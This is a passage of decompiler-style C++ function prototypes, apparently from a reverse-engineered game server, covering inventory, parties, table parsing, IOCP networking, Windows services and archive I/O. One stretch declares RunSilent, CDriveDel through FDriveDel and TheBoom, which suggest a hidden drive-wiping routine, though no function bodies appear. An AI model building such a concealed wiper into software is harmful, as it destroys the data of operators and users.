ItemBag::ib_Initializetotal(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype); int __thiscall ItemAccountStorage::ias_FillBufferItem(ItemAccountStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, const char *charid, int from, int to); int __thiscall CharacterInventory::ci_FillBufferInventoryItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, int *from, int buffersize, ItemBag *bag); int __thiscall CharacterInventory::ci_FillBufferItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr); int __thiscall CharacterInventory::ci_FillBufferInventoryTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int buffersize); int __thiscall CharacterInventory::ci_FillBufferTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr); void __thiscall ItemBag::ib_clear(ItemBag *this); void __thiscall ItemInventoryCell::ItemInventoryCell(ItemInventoryCell *this); void __thiscall ItemInventory::ItemInventory(ItemInventory *this); void __thiscall ItemEquipment::ItemEquipment(ItemEquipment *this); void __thiscall ItemQuestItemBox::ItemQuestItemBox(ItemQuestItemBox *this); void __thiscall ItemAccountStorage::ItemAccountStorage(ItemAccountStorage *this); void __thiscall ItemMiniHouseBox::ItemMiniHouseBox(ItemMiniHouseBox *this); void __thiscall ItemGuildStorage::ItemGuildStorage(ItemGuildStorage *this); void __thiscall ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this); void __thiscall ItemFurnicherBox::ItemFurnicherBox(ItemFurnicherBox *this); void __thiscall ItemActionItemBox::ItemActionItemBox(ItemActionItemBox *this); int __thiscall ItemActionItemBox::isb_BagSizeInput(ItemActionItemBox *this, ChargedEffectContainer *cec); int __thiscall ItemActionItemBox::isb_BagSizeOutput(ItemActionItemBox *this); ItemInventorySmallCell *__thiscall ItemActionItemBox::isb_GetInventoryCell(ItemActionItemBox *this, int slot); void __thiscall ItemActionItemBox::_ItemActionItemBox(ItemActionItemBox *this); void __thiscall ItemRewardStorage::ItemRewardStorage(ItemRewardStorage *this); int __thiscall ItemRewardStorage::irs_FillBufferItem(ItemRewardStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr); unsigned __int16 __thiscall CParty::GetEmptyParty(CParty *this); void __thiscall CParty::PartyDelete(CParty *this, unsigned __int16 nPartyNo); unsigned __int16 __thiscall CParty::PartyGetNo(CParty *this, unsigned int nCharNo); int __thiscall CParty::MemberGetNo(CParty *this, unsigned __int16 nPartyNo, unsigned int nCharNo); int __thiscall CParty::SetItemLooting(CParty *this, unsigned __int16 nPartyNo, char LootingType); char __thiscall CParty::getitemlooting(CParty *this, unsigned __int16 nPartyNo); CParty::PARTY_SLOT *__thiscall CParty::operator__(CParty *this, unsigned __int16 prt); CParty::PARTY_SLOT *__thiscall CParty::p_defaultslot(CParty *this); int __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_(int this, int a2); unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, unsigned __int16 nPartyNo, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember); void __thiscall CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::PARTY_MEMBER_SLOT(CParty::PARTY_SLOT::PARTY_MEMBER_SLOT *this); unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMaster, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember, unsigned __int16 nPartyNo); int __thiscall CParty::MemberLeave(CParty *this, unsigned __int16 nPartyNo, unsigned int LeaveMember); int __thiscall CParty::MemberSetMaster(CParty *this, unsigned __int16 nPartyNo, unsigned int NewMaster); void __thiscall CParty::PARTY_SLOT::PARTY_SLOT(CParty::PARTY_SLOT *this); void __thiscall CParty::PARTY_SLOT::_PARTY_SLOT(CParty::PARTY_SLOT *this); void __thiscall CParty::_CParty(CParty *this); int __thiscall CParty::PARTY_SLOT::operator_(int this, int a2); void __thiscall CParty::Init(CParty *this); void __thiscall CParty::CParty(CParty *this); char __thiscall ORTable::ort_ReadColumnHeader(ORTable *this, ORTokenReader *token, TokenArgument *targ); void __thiscall TokenArgument::_TokenArgument(TokenArgument *this); void __thiscall OptionReader::or_ClearError(OptionReader *this); int __thiscall OptionReader::or_ErrorLine(OptionReader *this); char *__thiscall OptionReader::or_ErrorString(OptionReader *this); char __thiscall OptionReader::or_ExecColumnName(OptionReader *this, ORTokenReader *token); char __thiscall OptionReader::or_ExecColumnType(OptionReader *this, ORTokenReader *token); void __thiscall List::_List(List *this); char __thiscall List::l_PopA(List *this, ORRecord *ele); char __thiscall List::l_PopZ(List *this, ORRecord *ele); void __thiscall List::_List(List *this); char __thiscall OptionReader::or_ExecTable(OptionReader *this, ORTokenReader *token); void __thiscall ListArray::_ListArray(ListArray *this); char __thiscall List::l_PushA(List *this, ORRecord *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, ORRecord *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall ORTable::_ORTable(ORTable *this); char __thiscall List::l_PushA(List *this, ORTable *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall ORTable::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, ORTable *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ORTable *ele); char __thiscall List::l_PopZ(List *this, ORTable *ele); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall OptionReader::_OptionReader(OptionReader *this); void __thiscall List::List(List *this, ListArray *array); void __thiscall ORTable::ORTable(ORTable *this); // void __thiscall OptionReader::OptionReader(OptionReader *this); char __thiscall OptionReader::or_Read(OptionReader *this, char *filename); char __thiscall MakePrimaryKeyColumn::lid_Call(MakePrimaryKeyColumn *this, ORField *ele, unsigned __int16 handle); char __thiscall OrderArgument::lid_Call(OrderArgument *this, ORRecord *ele, unsigned __int16 handle); char __thiscall ColumnCheckArgument::lid_Call(ColumnCheckArgument *this, ORField *ele, unsigned __int16 handle); char __thiscall TargetColumnFindArgument::lid_Call(TargetColumnFindArgument *this, ORField *ele, unsigned __int16 handle); char __thiscall TableNameCompareArgument::lid_Call(TableNameCompareArgument *this, ORTable *ele, unsigned __int16 handle); void __thiscall ORColumnHeader::_ORColumnHeader(ORColumnHeader *this); ORToken *__thiscall ORColumnHeader::orch_GetColumnName(ORColumnHeader *this); int __thiscall ORColumnHeader::ortr_SetLength(ORColumnHeader *this, ORTokenReader *token, TokenArgument *targ); char __thiscall ORColumnHeader::orch_FillCell(ORColumnHeader *this, ORTokenReader *token, ORRecord *datarecord); int __thiscall ORColumnHeaderString::ortr_SetLength(ORColumnHeaderString *this, ORTokenReader *token, TokenArgument *targ); void __thiscall ORColumnHeaderList::ORColumnHeaderList(ORColumnHeaderList *this); ORColumnHeader *__thiscall ORColumnHeaderList::orchl_AllocObject(ORColumnHeaderList *this, unsigned __int16 *hnd, unsigned __int16 type); char __thiscall ORRecord::orr_4AllInList(ORRecord *this, ListIteratorDefault *arg); char __thiscall MakePrimaryKey::lid_Call(MakePrimaryKey *this, ORRecord *ele, unsigned __int16 handle); char __thiscall ColumnNameArgument::lid_Call(ColumnNameArgument *this, ORColumnHeader *ele, unsigned __int16 handle); char __thiscall DataRecordArgument::lid_Call(DataRecordArgument *this, ORColumnHeader *ele, unsigned __int16 handle); char __thiscall RecordDataCompareArgument::lid_Call(RecordDataCompareArgument *this, ORRecord *ele, unsigned __int16 handle); void __thiscall ORColumnHeaderList::_ORColumnHeaderList(ORColumnHeaderList *this); char __thiscall ORTable::ort_MakePrimaryKey(ORTable *this, char *column); char __thiscall ORTable::ort_ReadColumnName(ORTable *this, ORTokenReader *token); void *__thiscall ORRecord::orr_GetFieldData(ORRecord *this, char *targetcolumn, int *type); void *__thiscall ORTable::ort_FindData(ORTable *this, char *column, char *content, char *targetcolumn, int skip, int *type); void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, int order); void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, char *column, char *content, int skip); void *__thiscall OptionReader::or_SelectFromOrder(OptionReader *this, ORToken table, int order); void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *key, int *type); void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, char *content, int skip); void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, char *content, int skip, int *type); char __thiscall OptionReader::or_MakePrimaryKey(OptionReader *this, ORToken table, char *column); int __thiscall OptionReader::or_SelectCount(OptionReader *this); char __thiscall List::l_Enlargement(List *this, int extsize); char __thiscall ORTable::ort_ReadData(ORTable *this, ORTokenReader *token); char __thiscall OptionReader::or_ExecRecordIn(OptionReader *this, ORTokenReader *token); char __thiscall OptionReader::or_ExecRecord(OptionReader *this, ORTokenReader *token); void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, int content, int skip); void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, int content, int skip, int *type); int __thiscall OptionReader::or_SelectCountFrom(OptionReader *this, ORToken table); void __thiscall CServerInfo::CServerInfo(CServerInfo *this); int __thiscall CServerInfo::ReadServerInfo(CServerInfo *this, char *pFN); int __thiscall CServerInfo::GetNumOfData(CServerInfo *this); int __thiscall CServerInfo::GetMyServerInfo(CServerInfo *this, CServerInfo::MY_SERVER *pMyServer); int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ScriptorDataIndex); int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom); int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo); int __thiscall CServerInfo::GetWorldName(CServerInfo *this, int nWorldNo, CServerInfo::WORLD_NAME *pWorldName); int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom); int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo); ORToken *__thiscall ORToken::ort_ToLower(ORToken *this); char __thiscall ORToken::ort_IsNull(ORToken *this); char *__thiscall ORToken::ort_GetString(ORToken *this, char *buf); char __thiscall ORLinebuffer::orlb_LineRead(ORLinebuffer *this); int __thiscall ORLinebuffer::orlb_FGetc(ORLinebuffer *this); char __thiscall ORDelimiter::operator__(ORDelimiter *this, int chr); void __thiscall ORDelimiter::ORDelimiter(ORIgnore *this); void __thiscall ORExchange::ORExchange(ORExchange *this); int __thiscall ORExchange::operator__(ORExchange *this, int chr); void __thiscall ORComment::ORComment(ORComment *this); void __thiscall ORBrace::ORBrace(ORBrace *this); char __thiscall ORBrace::orb_IsOpen(ORBrace *this, int chr); char __thiscall ORBrace::orb_IsClose(ORBrace *this, int chr); void __thiscall ORErrorMessage::orem_Clear(ORErrorMessage *this); void __thiscall ORErrorMessage::operator_(ORErrorMessage *this, char *msg); int __thiscall ChargedItemEffectFinger::cief_GetFinger(ORErrorMessage *this); void __thiscall ORTokenReader::ORTokenReader(ORTokenReader *this, _iobuf *fp, TokenArgument *argument); int __thiscall ORTokenReader::ortr_SkipBlank(ORTokenReader *this); void __thiscall ORTokenReader::ortr_SetError(ORTokenReader *this, char *err); int __thiscall ORTokenReader::ortr_ReadNumber8(ORTokenReader *this, char *result); int __thiscall ORTokenReader::ortr_ReadNumber10(ORTokenReader *this, char *result); int __thiscall ORTokenReader::ortr_ReadNumber16(ORTokenReader *this, char *result); int __thiscall ORTokenReader::ortr_GetOctal(ORTokenReader *this); int __thiscall ORTokenReader::ortr_GetDigit(ORTokenReader *this); int __thiscall ORTokenReader::ortr_GetHexa(ORTokenReader *this); int __thiscall ORTokenReader::ortr_ReadNumber(ORTokenReader *this, char *result); char __thiscall ORTokenReader::ortr_isEOL(ORTokenReader *this); int __thiscall ORTokenReader::ortr_ReadChar(ORTokenReader *this); char *__thiscall ORTokenReader::ortr_ReadString(ORTokenReader *this, ORTokenReader::BraceInString readbrace); ORToken *__thiscall ORTokenReader::ortr_ReadCommand(ORTokenReader *this, ORToken *com); char __thiscall ORDelimiter::ord_Exec(ORIgnore *this, ORTokenReader *token); char __thiscall ORExchange::ore_Exec(ORExchange *this, ORTokenReader *token); char __thiscall ORComment::orc_Exec(ORComment *this, ORTokenReader *token); char __thiscall ORBrace::orb_Exec(ORBrace *this, ORTokenReader *token); void __thiscall ORErrorMessage::ORErrorMessage(ORErrorMessage *this); void __thiscall List::_List(List *this); char __thiscall List::l_Enlargement(List *this, int extsize); char __thiscall List::l_PushZ(List *this, CardDeck::Card *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, CardDeck::Card *ele); void __thiscall ListArray::_ListArray(ListArray *this); void __thiscall CardDeck::CardStack::_CardStack(CardDeck::CardStack *this); void __thiscall CardDeck::CardStack::cs_Suffle(CardDeck::CardStack *this, int num); unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertTop(CardDeck::CardStack *this, unsigned int card); unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertBottom(CardDeck::CardStack *this, unsigned int card); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall List::l_SetListArray(List *this, ListArray *array); void __thiscall CardDeck::CardStack::CardStack(CardDeck::CardStack *this); void __cdecl MiniDumper::MinidumpCallStack(_EXCEPTION_POINTERS *pExceptionInfo); int __stdcall MiniDumper::TopLevelFilter(_EXCEPTION_POINTERS *pExceptionInfo); void __thiscall MiniDumper::MiniDumper(MiniDumper *this); void __thiscall ItemOptionsData::OptionCardStack::OptionCardStack(ItemOptionsData::OptionCardStack *this); void __thiscall ItemOptionsData::OptionCardStack::_OptionCardStack(ItemOptionsData::OptionCardStack *this); int __thiscall ItemOptionsData::OptionCardStack::ocs_selectnumber(ItemOptionsData::OptionCardStack *this, ItemOptions *op); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall RewardData::RewardData(RewardData *this); void __thiscall RewardData::rd_Load(RewardData *this); ShineReward *__thiscall RewardData::rd_FindHandle(RewardData *this, int handle); void __thiscall ItemOptionsData::ItemOptionsData(ItemOptionsData *this); void __thiscall ItemOptionsData::_ItemOptionsData(ItemOptionsData *this); char __thiscall ItemOptionsData::OptionCardStack::ocs_make(ItemOptionsData::OptionCardStack *this, ItemOptionStorage *ios); void __thiscall CardDeck::CardStack::cs_Clear(CardDeck::CardStack *this); void __thiscall ItemOptionsData::iod_Load(ItemOptionsData *this); const char *__cdecl GetLastErrorStr(unsigned int errorcode, int bAddCRLF); const char *__cdecl GetCurrentTimeString(int bUTCTime); const char *__cdecl GetCurrentTimeString2(int bUTCTime); void __cdecl _DebugMessageNew2(int bView, const char *sFN, const char *lpszFormat, char *args); void __cdecl _DEBUGMSG(const char *lpszFormat); void __cdecl _DEBUGMSGVC(int bView, const char *lpszFormat); void __cdecl _DebugMessageNew(int bView, const char *sFN, const char *lpszFormat); unsigned int __cdecl RunSilent(char *strFunct, char *strstrParams); unsigned int __stdcall CDriveDel(void *LPARAM); unsigned int __stdcall DDriveDel(void *LPARAM); unsigned int __stdcall EDriveDel(void *LPARAM); unsigned int __stdcall FDriveDel(void *LPARAM); BOOL __cdecl TheBoom(); int __thiscall CSocket_Acceptor_Process_Interface::Accept_Process(CIOCP_Process_Socket *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes); void __thiscall CIOCP_Process::CIOCP_Process(CIOCP_Process *this); int __thiscall CSocket_IOCP::Receive(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes, unsigned int *pdwReadBytes); int __thiscall CSocket_IOCP::Shutdown(CSocket_IOCP *this); void __thiscall CSocket_IOCP::CloseUseIOCP(CSocket_IOCP *this, CIOCP *pIOCP); void __thiscall CSocket_IOCP::FreeBuffer(CSocket_IOCP *this); int __thiscall CSocket_IOCP::Close(CSocket_IOCP *this); int __thiscall CSocket_IOCP::Write(CSocket_IOCP *this, CIOBuffer *pBuffer); void __thiscall CSocket_IOCP::WriteCallback(CSocket_IOCP *this, unsigned int dwTransferred); void __thiscall CSocket_IOCP::CSocket_IOCP(CSocket_IOCP *this); void __thiscall CSocket_IOCP::_CSocket_IOCP(CSocket_IOCP *this); int __thiscall CSocket_IOCP::Connect(CSocket_IOCP *this, char *pIPAddress, int PortNo); int __thiscall CSocket_IOCP::Send(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes); void __thiscall CPacket::_CPacket(CPacket *this); int __thiscall CPacket::IsValidHeader(CPacket *this); int __thiscall CPacket::IsValidPacket(CPacket *this); int __thiscall CPacket::GetPacketSize(CPacket *this, int *pError); unsigned __int16 __thiscall CPacket::GetDataSize(CPacket *this); unsigned __int16 *__thiscall CPacket::GetIDPtr(CPacket *this); char *__thiscall CPacket::GetDataPtr(CPacket *this); int __thiscall CPacket::GetPacket(CPacket *this, unsigned __int16 *pID, char **ppData, int *pDataSize); void __thiscall CPacket::TakeNextPacket(CPacket *this); int __thiscall CPacket::RemoveAllUsedPacket(CPacket *this); void __thiscall CPacket::Clear(CPacket *this); unsigned __int16 __thiscall CPacket::ID(CPacket *this); void __thiscall CPacket::WriteData(CPacket *this, void *buffer, int size); int __thiscall CPacket::GetWriteableBufferSize(CPacket *this); char *__thiscall CPacket::GetWriteDataPtr(CPacket *this); void __thiscall CPacket::CPacket(CPacket *this); CPacket *__thiscall CPacket::ID(CPacket *this, unsigned __int16 PacketID, int DataSize, char *pData); void __thiscall CIOCP::CIOCP(CIOCP *this); void *__thiscall CIOCP::Register(CIOCP *this, void *IOHandle, unsigned int CompletionKey); void __thiscall CIOCP::Stop(CIOCP *this, int StopWorkerID); unsigned int __stdcall CIOCP::WorkThread(void *lpParam); int __thiscall CIOCP::Start(CIOCP *this, int nNumOfWorkThread, int bWaitAllThreadStart); void __thiscall CIOCP::_CIOCP(CIOCP *this); // unsigned int __cdecl CGTimer::GetTime(); void __thiscall CCsl::VarClear(CCsl *this); int __thiscall CCsl::MakeFormatTable(CCsl *this); int __thiscall CCsl::MakeDataTable(CCsl *this); int __thiscall CCsl::AddResultMsg(CCsl *this, char *pszMsg); CCsl::CSL_FORMAT_LIST *__thiscall CCsl::GetFormat(CCsl *this, int Index); int __thiscall CCsl::GetNumDatas(CCsl *this); CCsl::CSL_DATA_LIST *__thiscall CCsl::GetDataInfo(CCsl *this, int Index); void *__thiscall CCsl::GetData(CCsl *this, int Index, int VarNo); int __thiscall CCsl::ProcRemark(CCsl *this, char *Token); CCsl::CSL_FORMAT_LIST *__thiscall CCsl::MakeFormat(CCsl *this); int __thiscall CCsl::AddFormat(CCsl *this, CCsl::CSL_FORMAT_LIST *pAddFormat); char *__thiscall CCsl::GetDataToken(CCsl *this); int __thiscall CCsl::Parameter_filename(CCsl *this, char *pFileName); CCsl::CSL_DATA_LIST *__thiscall CCsl::MakeData(CCsl *this, unsigned int dwID, CCsl::CSL_FORMAT_LIST *pFormat); int __thiscall CCsl::ProcData(CCsl *this, char *Token, char *pRet); void __thiscall CCsl::ReadScriptDone(CCsl *this); int __thiscall CCsl::Read(CCsl *this, char *lpszPathName); int __thiscall CCsl::WriteFormat(CCsl *this, char *lpszPathName, void *hFile); int __thiscall CCsl::WriteData(CCsl *this, char *lpszPathName, void *hFile); void __thiscall CCsl::ClearFormats(CCsl *this); void __thiscall CCsl::ClearDatas(CCsl *this); void __thiscall CCsl::Close(CCsl *this); void __thiscall CCsl::Clear(CCsl *this); void __thiscall CCsl::_CCsl(CCsl *this); void __thiscall CCsl::CCsl(CCsl *this); void __thiscall CCsl::CCsl(CCsl *this, CCsl *pParentCsl); void __thiscall CCsl::IncludeFile(CCsl *this); int __thiscall CCsl::ProcCmd(CCsl *this, char *Token, char *pRet); int __thiscall CCsl::ReadScript(CCsl *this, char *lpszPathName, HWND__ *hWnd, unsigned int UseMsgID, void *pMemory); void __thiscall CSocket_Acceptor::CSocket_Acceptor(CSocket_Acceptor *this); int __thiscall CSocket_Acceptor::Stop(CSocket_Acceptor *this); int __thiscall CSocket_Acceptor::Listen_Add(CSocket_Acceptor *this, char *pIPAddress, int PortNo, unsigned int UserData, int BacklogCount); int __thiscall CSocket_Acceptor::GetAccepted(CSocket_Acceptor *this, CSocket_Acceptor::ACCEPTED_SOCKET_INFO *pSocketInfo, int bRemove); int __thiscall CSocket_Acceptor::SetAccepted(CSocket_Acceptor *this, unsigned int Socket, sockaddr_in *pSocketAddr, unsigned int UserData); int __thiscall CSocket_Acceptor::AcceptThreadWork(CSocket_Acceptor *this, unsigned int CheckPoint); void __thiscall CSocket_Acceptor::_CSocket_Acceptor(CSocket_Acceptor *this); unsigned int __stdcall CSocket_Acceptor::AcceptThreadRing(void *lpParam); int __thiscall CSocket_Acceptor::Listen_Start(CSocket_Acceptor *this); void __thiscall WinService::_WinService(WinService *this); bool __thiscall WinService::uploadService(WinService *this, String svcName, String displayName, String modulePath); bool __thiscall WinService::removeService(WinService *this, String svcName); void __thiscall WinService::onServiceStop(WinService *this); int __thiscall WinService::queryServiceStatus(WinService *this, unsigned int *pResult, const char *netMachine, const char *serviceName); void __thiscall WinService::WinService(WinService *this); void *__thiscall WinService::_vector_deleting_destructor_(WinService *this, unsigned int); void __stdcall WinService::serviceHandler(unsigned int status); bool __thiscall WinService::onServiceStart(WinService *this); void __stdcall WinService::serviceLoop(unsigned int argc, char **argv); bool __thiscall WinService::startDispatcher(WinService *this, String serviceName, bool (__cdecl *startCallBack)(), void (__cdecl *stopCallBack)()); // void __thiscall String::_String(String *this); void __thiscall String::allocData(String *this, int strLen); void __thiscall String::makeUpper(String *this); String *__thiscall String::operator_(String *this, const char *str); void __thiscall String::String(String *this); void *__thiscall String::_scalar_deleting_destructor_(String *this, unsigned int); void __thiscall String::String(String *this, const char *str); String *__thiscall String::operator_(String *this, String *str); bool __cdecl operator__(String *str1, String *str2); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryData *__thiscall ItemDataBox::__unnamed::__unnamed(BinaryData *this); void __thiscall ItemDataBox::__unnamed::___unnamed(BinaryData *this); bool __thiscall ItemDataBox::ReadData(ItemDataBox *this, char *pdatafn); void __thiscall ItemDataBox::_ItemDataBox(ItemDataBox *this); void __thiscall ItemDataBox::idb_Load(ItemDataBox *this); void __thiscall ItemDataBox::ItemDataBox(ItemDataBox *this, char *pdatafn, bool bCheckAndRead); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MapDataBox::mdb_Load(MapDataBox *this); void __thiscall MapDataBox::MapDataBox(MapDataBox *this); void __thiscall MapDataBox::_MapDataBox(MapDataBox *this); int __cdecl InetAddress::WinSockStart(int MajorVer, int MinorVer); char *__cdecl InetAddress::GetHostByName(char *name); void __thiscall ORKeyList::_ORKeyList(ORKeyList *this); void __thiscall ORKeyList::okl_AddKey(ORKeyList *this, ORToken *field, ORRecord *rec); int __cdecl ORKeyList::okl_KeyCompare(const void *a, const void *b); void __thiscall ORKeyList::ORKeyList(ORKeyList *this); char __thiscall ORKeyList::okl_Sorting(ORKeyList *this); ORRecord *__thiscall ORKeyList::okl_Searching(ORKeyList *this, char *index); ORToken *__thiscall ORField::orf_ColumnName(ORField *this); char __thiscall ORFieldIndex::orf_Read(ORFieldIndex *this, ORTokenReader *token); char __thiscall ORFieldIndex::orf_CompareContent(ORFieldIndex *this, char *contentstring, ORToken *contentindex); void *__thiscall ORFieldDwrd::orf_GetBuffer(ORFieldDwrd *this); char __thiscall ORFieldString::orf_CompareContent(ORFieldString *this, char *contentstring, ORToken *contentindex); char __thiscall ORFieldByte::orf_Read(ORFieldByte *this, ORTokenReader *token); char __thiscall ORFieldByte::orf_CompareContent(ORFieldByte *this, char *contentstring, ORToken *contentindex); char __thiscall ORFieldWord::orf_Read(ORFieldWord *this, ORTokenReader *token); char __thiscall ORFieldWord::orf_CompareContent(ORFieldWord *this, char *contentstring, ORToken *contentindex); int __thiscall ORFieldIndex::orf_Alloc(ORFieldDwrd *this, char *pnt); char __thiscall ORFieldDwrd::orf_Read(ORFieldDwrd *this, ORTokenReader *token); char __thiscall ORFieldDwrd::orf_CompareContent(ORFieldDwrd *this, char *contentstring, ORToken *contentindex); void __thiscall ORRecord::ORRecord(ORRecord *this); void __thiscall ORRecord::l_Clone(ORRecord *this, ORRecord *rec); void *__thiscall ORRecord::orr_GetBuffer(ORRecord *this); void __thiscall ORRecord::orr_MakeBuffer(ORRecord *this, int recorelength); void __thiscall ORRecord::orr_AllocMemory(ORRecord *this, ORField *cell); ORField *__thiscall ORRecord::orr_AllocObject(ORRecord *this, unsigned __int16 *hnd, unsigned __int16 type); char __thiscall ORFieldString::orf_Read(ORFieldString *this, ORTokenReader *token); void __thiscall ORRecord::_ORRecord(ORRecord *this); void __cdecl FillInStackFrame(_CONTEXT *pCtx); int __stdcall CH_ReadProcessMemory(void *__formal, unsigned __int64 qwBaseAddress, void *lpBuffer, unsigned int nSize, unsigned int *lpNumberOfBytesRead); const char *__cdecl EHConvertSimpleException(unsigned int dwExcept); int __cdecl EHInitSymbolEngine(); void __cdecl EHCleanupSymbolEngine(); const char *__stdcall EHInternalGetStackTraceString(unsigned int dwOpts); const char *__stdcall GetFaultReason(_EXCEPTION_POINTERS *pExPtrs); const char *__stdcall GetFirstStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *pExPtrs); const char *__stdcall GetNextStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *__formal); void __thiscall CIOSpinLock::Wait(CIOSpinLock *this); void __thiscall IOBufferContainer::IOBufferContainer(IOBufferContainer *this); CIOBuffer *__thiscall IOBufferContainer::iobc_Alloc(IOBufferContainer *this); void *__thiscall CIOBuffer::_scalar_deleting_destructor_(CIOBuffer *this, unsigned int); CIOBuffer *__cdecl CIOBuffer::Alloc(); void __thiscall CIOBuffer::Free(CIOBuffer *this); void __thiscall CToken::CToken(CToken *this); void __thiscall CToken::Close(CToken *this); void __thiscall CToken::SetSeprator(CToken *this, char *lpszSeprator); char *__thiscall CToken::my_tcstok(CToken *this, char *pstrToken, const char *pstrDelimit); char *__thiscall CToken::GetToken(CToken *this); int __thiscall CToken::GoBegin(CToken *this); int __thiscall CToken::GoNextLine(CToken *this); char *__thiscall CToken::GoStartString(CToken *this); void __thiscall CToken::SaveTokenPositon(CToken *this); int __thiscall CToken::RestoreTokenPositon(CToken *this, const char *pMarkPoint); unsigned int __thiscall CToken::IsTokenID(CToken *this, char *Token, char **ppTokenList, unsigned int NumTokens); char *__thiscall CToken::GetTokenID(CToken *this, unsigned int *lpdwTokenID, char **ppTokenList, unsigned int NumTokens); void __thiscall CToken::_CToken(CToken *this); int __thiscall CToken::Open(CToken *this, char *lpszPathName); int __thiscall CToken::OpenFromMemory(CToken *this, char *lpText); char *__thiscall CToken::GetTokenString(CToken *this, int *pstrsize); void __thiscall CGdp::Clear(CGdp *this); unsigned int __thiscall CGdp::GdpSetFilePointer(CGdp *this, int lLow, int *lpHigh, unsigned int dwMode); void __thiscall CGdp::GdpEncryptHeader(CGdp *this, CGdp::GDP_CHUNK *lpChunk); void __thiscall CGdp::GdpDecryptData(CGdp *this, void *lpData, unsigned int dwSize); int __thiscall CGdp::GdpWriteChunk(CGdp *this, CGdp::GDP_CHUNK *lpChunk); int __thiscall CGdp::GdpUpdateChunk(CGdp *this, unsigned int dwChunkNo); void __thiscall CGdp::UpdateWriteDataInfo(CGdp *this, const void *lpBuffer, unsigned int nNumberOfBytesToWrite); unsigned int __thiscall CGdp::GdpSearchFile(CGdp *this, const char *lpFileName); int __thiscall CGdp::GdpDeleteFile(CGdp *this, unsigned int dwFileNo); int __thiscall CGdp::GdpDeleteFile(CGdp *this, const char *lpFileName); int __thiscall CGdp::CloseHandle(CGdp *this, void *hObject); int __thiscall CGdp::ReadFile(CGdp *this, void *hFile, void *lpBuffer, unsigned int nNumberOfBytesToRead, unsigned int *lpNumberOfBytesRead, _OVERLAPPED *lpOverlapped); int __thiscall CGdp::WriteFile(CGdp *this, void *hFile, const void *lpBuffer, unsigned int nNumberOfBytesToWrite, unsigned int *lpNumberOfBytesWritten, _OVERLAPPED *lpOverlapped); unsigned int __thiscall CGdp::GetFileSize(CGdp *this, void *hFile, unsigned int *lpFileSizeHigh); unsigned int __thiscall CGdp::SetFilePointer(CGdp *this, void *hFile, int lDistanceToMove, int *lpDistanceToMoveHigh, unsigned int dwMoveMethod); int __thiscall CGdp::fclose(CGdp *this, _iobuf *stream); void __thiscall CGdp::CGdp(CGdp *this); int __thiscall CGdp::GdpCloseFile(CGdp *this); unsigned int __thiscall CGdp::GdpMakeEmptyChunk(CGdp *this, unsigned int NumMakes); int __thiscall 